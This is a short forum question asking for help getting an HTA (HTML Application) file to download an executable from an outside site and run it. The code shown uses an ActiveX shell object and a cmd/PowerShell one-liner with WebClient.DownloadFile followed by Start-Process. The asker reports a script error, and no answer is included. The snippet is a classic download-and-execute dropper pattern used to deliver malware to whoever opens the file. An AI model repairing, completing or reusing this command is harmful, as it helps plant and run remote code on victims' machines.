title: Download and Execute using HTA
body: <p>Am trying to download and open a file using hta. </p>
  
  <p>I have tried the following code with no luck. </p>
  
  <pre><code>&lt;script&gt;
  a=new ActiveXObject("WScript.Shell");
  run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus)
  &lt;/script&gt;
  </code></pre>
  
  <p>Can someone pls help with something nice<br>
  Thx.</p>
  
  <p>I am getting the following error.
  <a href="https://i.stack.imgur.com/TadtI.png" rel="nofollow noreferrer">Script Error Image</a></p>
  
  <p>When i click yes, it just shows a blank hta console.</p>